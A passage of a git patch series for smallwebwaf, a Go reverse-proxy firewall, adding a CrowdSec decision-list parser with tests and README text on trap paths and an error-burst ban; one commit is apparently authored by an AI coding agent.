-298,14 +375,14 @@ func (l *Lists) due(listURL string) time.Time { // so that a restart waits for it: the server may have had its request. func (l *Lists) fetch(ctx context.Context, listURL string) { lines, err := l.get(ctx, listURL) + now := l.params.Now() var found entries if err == nil { - found, err = l.parse(listURL, lines) + found, err = l.parse(listURL, lines, now) } cutOff := err != nil && ctx.Err() != nil - now := l.params.Now() l.mu.Lock() @@ -350,8 +427,11 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) { }) } -// get fetches the list at listURL, and returns its lines. An answer other -// than 200, or a list longer than maxListBytes, is a failure. +// get fetches the list at listURL, and returns its lines. The CrowdSec +// decision list is fetched with CrowdSecKey in the header X-Api-Key, where +// the engine looks for it, by crowdSecClient, which follows no redirect. +// An answer other than 200, or a list longer than maxListBytes, is a +// failure. func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { ctx, cancel := context.WithTimeout(ctx, fetchTimeout) defer cancel() @@ -361,7 +441,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { return nil, fmt.Errorf("make the request: %w", err) } - res, err := l.httpClient.Do(req) + client := l.httpClient + + if listURL == l.params.CrowdSecDecisionsURL { + req.Header.Set("X-Api-Key", l.params.CrowdSecKey) + client = l.crowdSecClient + } + + res, err := client.Do(req) if err != nil { // Do's error names the URL, which the log line and the alert name // already: only what went wrong is kept. @@ -393,16 +480,22 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { return lines, nil } -// parse reads the lines of the list at listURL: those of a blocklist, or -// of the file of AS:percent lines. Anything after a ; or a # on a line is +// parse reads the lines of the list at listURL, fetched at fetched: those +// of a blocklist, of the file of AS:percent lines, or of the CrowdSec +// decision list. In the first two, anything after a ; or a # on a line is // left out, and so is a line left blank. Any other line that does not read // is an error naming it by its number. -func (l *Lists) parse(listURL string, lines []string) (entries, error) { - if listURL == l.params.ASNLimitPercentURL { +func (l *Lists) parse( + listURL string, lines []string, fetched time.Time, +) (entries, error) { + switch listURL { + case l.params.ASNLimitPercentURL: return parsePercents(lines) + case l.params.CrowdSecDecisionsURL: + return parseDecisions(lines, fetched) + default: + return parseNetblocks(lines) } - - return parseNetblocks(lines) } // parseNetblocks reads a blocklist's lines, each an address or a netblock @@ -486,6 +579,56 @@ func parsePercents(lines []string) (entries, error) { return found, nil } +// parseDecisions reads the lines of the CrowdSec decision list fetched at +// fetched: the engine's answer, a JSON list of its decisions in force, +// null while it has none. A decision of the type ban whose scope is Ip or +// Range, as CrowdSec names them, bans its value, an address or a netblock +// as parseNetblock reads it, until its duration, the time it had left as +// the engine answered, has passed since fetched. Any other decision, such +// as one to show a captcha or one on a country, is left out. A decision +// to ban whose value or duration does not read is an error naming it by +// its number. +func parseDecisions(lines []string, fetched time.Time) (entries, error) { + var answer []struct { + Duration string `json:"duration"` + Scenario string `json:"scenario"` + Scope string `json:"scope"` + Type string `json:"type"` + Value string `json:"value"` + } + + err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer) + if err != nil { + return entries{}, fmt.Errorf("read the answer: %w", err) + } + + found := entries{decisions: map[netip.Prefix]Decision{}} + + for i, decision := range answer { + if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") { + continue + } + + netblock, ok := parseNetblock(decision.Value) + + duration, err := time.ParseDuration(decision.Duration) + if !ok || err != nil { + return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision) + } + + expires := fetched.Add(duration) + if expires.After(found.decisions[netblock].Expires) { + found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario} + } + + if !slices.Contains(found.lengths, netblock.Bits()) { + found.lengths = append(found.lengths, netblock.Bits()) + } + } + + return found, nil +} + // withoutComment returns line without anything after a ; or a #, and // without the spaces around what is left. func withoutComment(line string) string { diff --git a/internal/reputation/reputation_test.go b/internal/reputation/reputation_test.go index b1bdb5c..3d858e2 100644 --- a/internal/reputation/reputation_test.go +++ b/internal/reputation/reputation_test.go @@ -215,12 +215,7 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { // One alert for the first failure; the cooldown holds back the // second. - wantAlert(t, queue, alerts.Alert{ - Time: time.Now().Add(-refresh), - Event: alerts.EventSourceFailure, - Reason: "fetching a list failed", - Detail: map[string]any{"source": dropURL, "error": tc.error}, - }) + wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error)) if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ `"url":"`+dropURL+`","error":"`+tc.error) { @@ -535,7 +530,9 @@ func newQueue() *alerts.Queue { // start returns the lists of p, fetched through servers by Run, which runs // until the test ends, once Run has fetched those due at start. -func start(t *testing.T, servers *standIn, p reputation.Params) *reputation.Lists { +func start( + t *testing.T, servers http.RoundTripper, p reputation.Params, +) *reputation.Lists { t.Helper() lists := reputation.New(p) @@ -597,6 +594,17 @@ func waiting(queue *alerts.Queue) []alerts.Alert { return queue.Snapshot().Waiting[alerts.DestinationWebhook] } +// fetchFailure is the source_failure alert raised at the time raised for +// a fetch of the list at listURL that failed with err. +func fetchFailure(raised time.Time, listURL, err string) alerts.Alert { + return alerts.Alert{ + Time: raised, + Event: alerts.EventSourceFailure, + Reason: "fetching a list failed", + Detail: map[string]any{"source": listURL, "error": err}, + } +} + // wantAlert checks that want is the one alert waiting in queue, and that // the cooldown has held back one repeat of it. func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) { diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 3c8be5d..802cee2 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -29,7 +29,8 @@ const ( // over a rate limit, which bans the client. ActionRateLimited = "rate_limited" // ActionBanned is a request refused because a ban covers its client, - // or because it matched a ban rule, which bans the client. + // or because it matched a ban rule or the CrowdSec decision list lists + // its client, either of which bans the client. ActionBanned = "banned" // ActionRuleBlocked is a request refused because it matched a block // rule. @@ -140,8 +141,9 @@ type Line struct { // minute_bytes, hour_bytes or day_bytes for a byte limit. LimitHit string `json:"limit_hit,omitempty"` // Reputation are the URLs of the blocklists that list the client, then - // the DNSBL zones whose verdict lists it, their keys masked, then - // abuseipdb when its score is a hit. + // that of the CrowdSec decision list when it does, then the DNSBL zones + // whose verdict lists it, their keys masked, then abuseipdb when its + // score is a hit. Reputation []string `json:"reputation,omitempty"` // Offence is the offence the request was held as, OffenceLimit. Offence string `json:"offence,omitempty"` diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index b6db973..3fdf2a3 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -716,6 +716,80 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T) } } +func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) { + t.Parallel() + + const bouncerKey = "crowdsec-key-0123456789abcdef" + + // A stand-in for the engine's local API, which bans 203.0.113.0/24 for + // four hours, and answers only a request with its key, while it is up. + down := new(atomic.Bool) + engine := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, r *http.Request) { + switch { + case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey: + w.WriteHeader(http.StatusForbidden) + case down.Load(): + w.WriteHeader(http.StatusServiceUnavailable) + default: + _, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+ + `"scenario": "crowdsecurity/http-probing", "scope": "Range", `+ + `"type": "ban", "value": "203.0.113.0/24"}]`) + } + })) + t.Cleanup(engine.Close) + + dir := t.TempDir() + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: dir, + rulesDir: t.TempDir(), + trustedProxies: localhost + "/32", + "SWWAF_CROWDSEC_LAPI_URL": engine.URL, + "SWWAF_CROWDSEC_LAPI_KEY": bouncerKey, + } + + // Once the list is fetched, the client's request bans it. + first := runUntilStopped(t, env, func(url string) { + for statusFrom(t, url, placed) != http.StatusForbidden { + time.Sleep(pollInterval) + } + }) + + ban := onlyBan(t, dir) + if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" || + ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" { + t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed) + } + + // Restarted with the engine down, the copy kept in reputation.json bans + // another client in the netblock from its first request. + down.Store(true) + + second := runUntilStopped(t, env, func(url string) { + wantStatus(t, url, "203.0.113.10", http.StatusForbidden) + }) + + // The key is in neither run's output, nor in a state file. + files := []string{"bans.json", "reputation.json", "clients.json"} + shown := make([]string, 0, len(files)+2) + shown = append(shown, first.text(), second.text()) + + for _, name := range files { + data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + + shown = append(shown, string(data)) + } + + if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) { + t.Errorf("the key is shown in the output or the state files:\n%s", all) + } +} + // wantDeniedByList checks that the request log line is of a request the // blocklist at listURL refused. func wantDeniedByList(t *testing.T, line map[string]any, listURL string) { diff --git a/internal/state/state.go b/internal/state/state.go index 2698c1f..eda3f57 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -60,7 +60,7 @@ var ( errVersion = errors.New("unknown version") // errMissing is for an entry without a field it needs. errMissing = errors.New("has no") - errCause = errors.New("is not limit, attack or admin") + errCause = errors.New("is not limit, attack, admin or crowdsec") errDestination = errors.New("is not webhook, slack or ntfy") errScope = errors.New("is not client, net, asn, total or watch") errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` + @@ -647,7 +647,7 @@ func (e BanEntry) ban() bans.Ban { // worked out, or an expires, which would make it permanent. A permanent // ban's expires is null, which Bans cannot tell from a missing one, so // each expires is read again as written. A cause other than limit, -// attack or admin, most likely misspelt, is refused too. +// attack, admin or crowdsec, most likely misspelt, is refused too. func (f *bansFile) check(data []byte) error { var written struct { Bans []struct { @@ -669,7 +669,8 @@ func (f *bansFile) check(data []byte) error { case written.Bans[i].Expires == nil: return missing(i, "expires") case entry.Cause != "" && entry.Cause != bans.CauseLimit && - entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin: + entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin && + entry.Cause != bans.CauseCrowdSec: return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause) } } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 4d27842..77ec8d6 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -97,7 +97,8 @@ const permanentBansJSON = `{ "earlier_bans": { "limit": 3, "attack": 1, - "admin": 1 + "admin": 1, + "crowdsec": 2 } } } @@ -849,8 +850,10 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) { `{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+ `"expires": null, "cause": "admin"}, `+ `{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+ + `"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+ + `{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+ `"expires": null, "cause": "atack"}]}`, - `: entry 3's cause "atack" is not limit, attack or admin`) + `: entry 4's cause "atack" is not limit, attack, admin or crowdsec`) } func TestUnknownVersionStopsTheStart(t *testing.T) { @@ -1726,8 +1729,9 @@ func office() netip.Prefix { return netip.MustParsePrefix("203.0.113.0/24") } -// fill puts a permanent ban an admin made, a ban for a broken limit and -// one for a clear sign of attack, clients with counts and histories, +// fill puts a permanent ban an admin made, a ban for a broken limit, one +// for a clear sign of attack and one for CrowdSec's decision, clients +// with counts and histories, // GeoJS answers, the blocklists' last tries and the copy of one, two // verdicts of a DNSBL zone, and the AbuseIPDB checks spent today with two // scores, as filledReputationJSON holds them, and alerts @@ -1743,6 +1747,8 @@ func fill(params state.Params) { }) params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now, bans.Notes{RuleID: "env-file", Target: "path"}) + params.Ledger.BanForCrowdSec(netip.MustParsePrefix("198.51.100.9/32"), now, + now.Add(4*time.Hour), "crowdsecurity/ssh-bf", bans.Notes{}) for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { params.Limiter.Count(netip.MustParsePrefix(c), now, whole) @@ -1844,7 +1850,7 @@ func permanentBan() bans.Ban { }, Requests: 1500, Refused: 3, - EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1}, + EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1, CrowdSec: 2}, }, } } From 54779f08dec781a0bb2689a72029501e74d380c9 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Thu, 8 Oct 2026 06:44:55 +0200 Subject: [PATCH 46/64] Trap paths, and the error burst banning a client refused too often (closes #115) SWWAF_TRAP_PATHS: a request whose path, as a path rule sees it, is one of them is a clear sign of attack, banned as a ban rule's match is; the ban's notes give its trap_path. Checked after the rate limits, before the rule files. SWWAF_ERROR_BURST_THRESHOLD (default 30, or off): more refusals in a minute after a block or ban rule or a trap path, or for a missing or wrong token, ban the client as a broken limit does. Counted in clients.json's minute_refusals; limit_hit error_burst, notes kind refusals. A token refusal is now the offence token_refused, and smallwebwaf_offences_total counts every kind the history does. Judgement call: the threshold is not lowered by a client's limit percentage. Model: opus-5-5 --- README.md | 437 +++++++++++++++------------ internal/bans/bans.go | 28 +- internal/config/config.go | 39 +++ internal/config/config_test.go | 60 ++++ internal/metrics/metrics.go | 43 +-- internal/proxy/admin.go | 6 +- internal/proxy/bans.go | 106 +++++-- internal/proxy/errorburst_test.go | 396 ++++++++++++++++++++++++ internal/proxy/proxy.go | 5 +- internal/proxy/reputation_test.go | 25 +- internal/proxy/request.go | 37 ++- internal/proxy/rulefiles_test.go | 3 + internal/proxy/rules.go | 21 +- internal/proxy/trappaths_test.go | 115 +++++++ internal/ratelimit/ratelimit.go | 93 ++++-- internal/ratelimit/ratelimit_test.go | 40 +++ internal/ratelimit/snapshot_test.go | 19 +- internal/requestlog/requestlog.go | 15 +- internal/rules/rules.go | 19 +- internal/state/state.go | 10 +- internal/state/state_test.go | 9 + 21 files changed, 1208 insertions(+), 318 deletions(-) create mode 100644 internal/proxy/errorburst_test.go create mode 100644 internal/proxy/trappaths_test.go diff --git a/README.md b/README.md index 0a006fa..b75c840 100644 --- a/README.md +++ b/README.md @@ -31,29 +31,32 @@ you name by URL, which it fetches and keeps, with a file of AS numbers' percentages fetched the same way, the DNS blocklists (DNSBL zones), which it asks about each client in the background, AbuseIPDB, which it asks in the background about each client that has committed an offence, and the decision -list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. -`smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -looks up its AS number and country unless you switch that off, bans a client -that sends too many requests or too many bytes, not counting those for the paths -you choose, with lower limits for the clients of the AS numbers and countries -you list, refuses a client that comes from a country you refuse or from a -network you refuse, refuses, limits or only notes a client a blocklist or a -DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set, +list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. So +are two parts of the last stage, which need no Core Rule Set: the trap paths and +the error burst. `smallwebwaf` passes each request to the app and the app's +answer back, unchanged, within its timeouts and size limits, works out each +client's address, looks up its AS number and country unless you switch that off, +bans a client that sends too many requests or too many bytes, not counting those +for the paths you choose, with lower limits for the clients of the AS numbers +and countries you list, refuses a client that comes from a country you refuse or +from a network you refuse, refuses, limits or only notes a client a blocklist or +a DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set, bans a client your CrowdSec engine's decision list lists until that decision ends, lets the networks you choose through, checks each request against the rule -files and bans a client whose request is a clear sign of attack, keeps its bans, -each client's counters and history, GeoJS's answers, the last good copy of each -list it fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB -checks spent today in JSON files across restarts, takes in your edits of those -files, such as a ban you make, keep or lift, and of the rule files while it -runs, writes a JSON log line for every request, sends its log lines to a syslog -server too if you name one, sends an alert to a webhook, to Slack and to ntfy, -each if you name one, for each ban it makes or makes permanent, for traffic over -an anomaly threshold you set, for a client a blocklist, the CrowdSec decision -list, a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot -fetch, a DNSBL zone or AbuseIPDB that fails or refuses a query and the day's -AbuseIPDB checks used up, for a rule file or state file with an error and for a +files and the trap paths you name and bans a client whose request is a clear +sign of attack, bans a client it refuses again and again within a minute for a +rule, a trap path or a missing or wrong token, keeps its bans, each client's +counters and history, GeoJS's answers, the last good copy of each list it +fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB checks +spent today in JSON files across restarts, takes in your edits of those files, +such as a ban you make, keep or lift, and of the rule files while it runs, +writes a JSON log line for every request, sends its log lines to a syslog server +too if you name one, sends an alert to a webhook, to Slack and to ntfy, each if +you name one, for each ban it makes or makes permanent, for traffic over an +anomaly threshold you set, for a client a blocklist, the CrowdSec decision list, +a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, a +DNSBL zone or AbuseIPDB that fails or refuses a query and the day's AbuseIPDB +checks used up, for a rule file or state file with an error and for a replacement of the lookup database it cannot read, serves Prometheus metrics to a scraper that holds the metrics token, lets an admin who holds the admin token list, add and lift bans and ask what it knows of a client, and in `observe` mode @@ -152,37 +155,47 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of The log line of each request the rate limits count gives its client's percentages below 100 and the settings that gave them, and so do the notes of a ban for a lowered limit, and its alert. -- Bans a client that breaks a rate limit or a byte limit, as "Bans" in - [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit - broken again within a day of a ban ending bans for three times as long as that - ban, so 1, 3, 9, 27 and 81 hours; a ban that would last longer than seven days - is permanent instead. A ban covers the client's netblock: its IPv4 address, or - the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 - group. While it lasts, every request from the netblock is refused with - `SWWAF_BAN_RESPONSE` after the static lists and before the country lists, so - the client is not looked up, and is not counted for the rate limits. A ban +- Bans a client that breaks a rate limit, a byte limit or the error burst, as + "Bans" in [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a + limit broken again within a day of a ban ending bans for three times as long + as that ban, so 1, 3, 9, 27 and 81 hours; a ban that would last longer than + seven days is permanent instead. A ban covers the client's netblock: its IPv4 + address, or the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or + its IPv6 group. While it lasts, every request from the netblock is refused + with `SWWAF_BAN_RESPONSE` after the static lists and before the country lists, + so the client is not looked up, and is not counted for the rate limits. A ban sets the client's counters back to zero. Each ban carries notes for deciding - whether to lift it: the limit, whether it is on requests or bytes, its window - and the requests or bytes counted in it, the client's percentage of that kind - of limit and the setting that gave it when a biased threshold lowered the - limit, the request that broke it, the client's AS number, AS name and country - once they are looked up, the blocklists, the CrowdSec decision list, DNSBL - zones and AbuseIPDB, with its score, that listed the client when the ban was - made, the netblock's requests since it was first seen, how many of them the - ban has refused, and how many bans the netblock had before, for a broken - limit, for a clear sign of attack, by an admin and for CrowdSec's decision. At - most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and - permanent; past that, the earliest such ban of the netblock that has gone - longest without a request is dropped first. The bans whose cause is `admin`, - those you make or keep, are kept besides, and never dropped. `bans.json` shows - the bans and their notes, a restart lifts none, and you make, keep or lift a - ban by editing it (see "State files" below). + whether to lift it: the limit, whether it is on requests, bytes or refusals, + its window and the requests, bytes or refusals counted in it, the client's + percentage of that kind of limit and the setting that gave it when a biased + threshold lowered the limit, the request that broke it, the client's AS + number, AS name and country once they are looked up, the blocklists, the + CrowdSec decision list, DNSBL zones and AbuseIPDB, with its score, that listed + the client when the ban was made, the netblock's requests since it was first + seen, how many of them the ban has refused, and how many bans the netblock had + before, for a broken limit, for a clear sign of attack, by an admin and for + CrowdSec's decision. At most `SWWAF_MAX_BANS` bans `smallwebwaf` made are + kept, past, active and permanent; past that, the earliest such ban of the + netblock that has gone longest without a request is dropped first. The bans + whose cause is `admin`, those you make or keep, are kept besides, and never + dropped. `bans.json` shows the bans and their notes, a restart lifts none, and + you make, keep or lift a ban by editing it (see "State files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with - `403`, and bans no one; a `ban` rule refuses it with `SWWAF_BAN_RESPONSE` and - bans the client's netblock for a clear sign of attack. Matching stops at the - first rule that refuses. A client in `SWWAF_ALLOW_NETS` is not checked. + `403`, and bans no one for it, though the refusal counts toward the error + burst; a `ban` rule refuses it with `SWWAF_BAN_RESPONSE` and bans the client's + netblock for a clear sign of attack. Matching stops at the first rule that + refuses. A client in `SWWAF_ALLOW_NETS` is not checked. +- Checks each request against the trap paths `SWWAF_TRAP_PATHS` names, after the + rate limits and before the rule files, which it does not need. A request for + one is refused with `SWWAF_BAN_RESPONSE` and bans the client's netblock for a + clear sign of attack, as a `ban` rule's match does. A trap path is matched + against the path a `path` rule sees: as the client sent it, before any + decoding and without the query, the whole of it, character for character. + `/wp-login.php` matches `/wp-login.php?redirect_to=x`, but not + `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or `/%77p-login.php`. + A client in `SWWAF_ALLOW_NETS` is not checked. - Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md) describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by default, and any request from the netblock while it lasts makes it permanent. @@ -190,8 +203,22 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of sign of attack bans it permanently at once. Such a ban covers the same netblock as a ban for a broken limit, does not set the client's counters back to zero, and does not make the netblock's next ban for a broken limit longer. - Its notes give the id and the target of the rule that matched in place of the - limit. + Its notes give the id and the target of the rule that matched, or the trap + path asked for, in place of the limit. +- Bans a client that `smallwebwaf` refused more than + `SWWAF_ERROR_BURST_THRESHOLD` times within a minute, 30 by default, after a + match of a `block` or `ban` rule or a trap path, or for a missing or wrong + token at one of its own endpoints, as a broken rate limit bans it. Each such + refusal is counted once it has been answered, in two buckets of a minute, as + the rate limits count requests. The refusal that takes the client over the + threshold breaks the error burst; it is answered as any other such refusal is, + and the client's next request is refused under the ban. The app's own answers, + such as its `401` and `404`, are not counted. The threshold is the same for + every client, whatever percentage of the rate limits a biased threshold or a + reputation source gives it. A client in `SWWAF_ALLOW_NETS` is not counted, and + one in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is. The ban's notes give `refusals` as + what the limit is on, the threshold as the limit, and the refusals counted in + the minute. - Looks up the AS number and country of every client through GeoJS, or in the IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and @@ -242,44 +269,50 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of - Checks the client with AbuseIPDB while `SWWAF_ABUSEIPDB_KEY` is set, after the DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores it keeps. Only a client whose history counts an offence is checked, so far one - that has broken a rate limit or a byte limit, matched a ban rule, or had a - request refused by a block rule, and only in the background, so that no - request waits for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is - a hit, and `SWWAF_REPUTATION_ACTION` does with its client what it does with - one a DNSBL zone's verdict lists. The request's log line names AbuseIPDB, and - it raises an alert. A client a blocklist or a DNSBL zone refuses, or the - CrowdSec decision list bans, is not checked. + that has broken a rate limit, a byte limit or the error burst, matched a ban + rule, asked for a trap path, or had a request refused by a block rule or for a + missing or wrong token, and only in the background, so that no request waits + for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and + `SWWAF_REPUTATION_ACTION` does with its client what it does with one a DNSBL + zone's verdict lists. The request's log line names AbuseIPDB, and it raises an + alert. A client a blocklist or a DNSBL zone refuses, or the CrowdSec decision + list bans, is not checked. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec - decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits - and the rule files, and is not looked up; the timeouts and size limits still - apply. A client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` - before its body is read, and the request is not counted for the rate limits; - an address in `SWWAF_ALLOW_NETS` too is let through. A client in - `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate - limits, and has no bytes counted by the byte limits; the country lists, the - rule files and bans still apply to it. + decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits, + the trap paths, the rule files and the error burst, and is not looked up; the + timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is refused + with `SWWAF_BAN_RESPONSE` before its body is read, and the request is not + counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let + through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor + refused by the rate limits, and has no bytes counted by the byte limits; the + country lists, the trap paths, the rule files, the error burst and bans still + apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec - decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit or a - rule would refuse: it passes them to the app, and their log lines name what - `enforce` mode would have done (see `would_action` in "Request log" below). - The checks run, and requests and bytes are counted, as in `enforce` mode, with - three differences: neither a broken rate limit or byte limit, a `ban` rule nor - the CrowdSec decision list makes a ban; a broken limit does not set the - client's counters back to zero, so each request over a rate limit is logged as - one that would be refused, and each whose bytes keep the client over a byte - limit as breaking it; and a request under a ban does not make it permanent. As - in `enforce` mode, the bytes counted are only those of the requests `enforce` - mode would have passed to the app. A ban it would have made, or made - permanent, raises the alert `enforce` mode would have raised, marked as what - would have happened (see "Alerts" below). The bans in `bans.json` are kept, - and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as - long as they last. The timeouts and size limits still apply, since they - protect `smallwebwaf` and the app themselves, and a request for one of - `smallwebwaf`'s own endpoints without its token is still answered `401`. It is - for trying a configuration before enforcing it. + decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap + path or a rule would refuse: it passes them to the app, and their log lines + name what `enforce` mode would have done (see `would_action` in "Request log" + below). The checks run, and requests, bytes and refusals are counted, as in + `enforce` mode, with three differences: neither a broken rate limit, byte + limit or error burst, a `ban` rule, a trap path nor the CrowdSec decision list + makes a ban; a broken limit does not set the client's counters back to zero, + so each request over a rate limit is logged as one that would be refused, each + whose bytes keep the client over a byte limit as breaking it, and each refusal + that keeps it over the error burst as breaking that; and a request under a ban + does not make it permanent. As in `enforce` mode, the bytes counted are only + those of the requests `enforce` mode would have passed to the app, and the + refusals counted for the error burst only those it would have made: a request + it would have refused before it reached an endpoint is not counted for its + token. A ban it would have made, or made permanent, raises the alert `enforce` + mode would have raised, marked as what would have happened (see "Alerts" + below). The bans in `bans.json` are kept, and refuse requests again when + `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts + and size limits still apply, since they protect `smallwebwaf` and the app + themselves, and a request for one of `smallwebwaf`'s own endpoints without its + token is still answered `401`. It is for trying a configuration before + enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -385,8 +418,8 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the country lists, the blocklists, the CrowdSec decision list, the DNSBL zones, - AbuseIPDB, the rate limits, the byte limits and the rule files, such as your - monitoring or your own networks. + AbuseIPDB, the rate limits, the byte limits, the trap paths, the rule files + and the error burst, such as your monitoring or your own networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits and the byte limits do not apply to, such as a machine that talks to the app all day. @@ -530,21 +563,21 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or - `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone, or a check with AbuseIPDB, may take before it fails. - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one - that is banned, breaks a rate limit, matches a `ban` rule, is in - `SWWAF_DENY_NETS`, comes from a refused country, is in a blocklist while - `SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone or AbuseIPDB - while `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close` to close - the connection without an answer. Behind traefik, `close` does not leave the - client unanswered: traefik answers `502`, as it does whenever its backend - drops a connection. A `block` rule always answers `403`. + that is banned, breaks a rate limit, matches a `ban` rule, asks for a trap + path, is in `SWWAF_DENY_NETS`, comes from a refused country, is in a blocklist + while `SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone or + AbuseIPDB while `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close` + to close the connection without an answer. Behind traefik, `close` does not + leave the client unanswered: traefik answers `502`, as it does whenever its + backend drops a connection. A `block` rule always answers `403`. - `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate - limit or byte limit. -- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit or byte limit - broken again within this time after a ban ended, other than one for a clear - sign of attack or for CrowdSec's decision, bans for three times as long as - that ban. -- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken 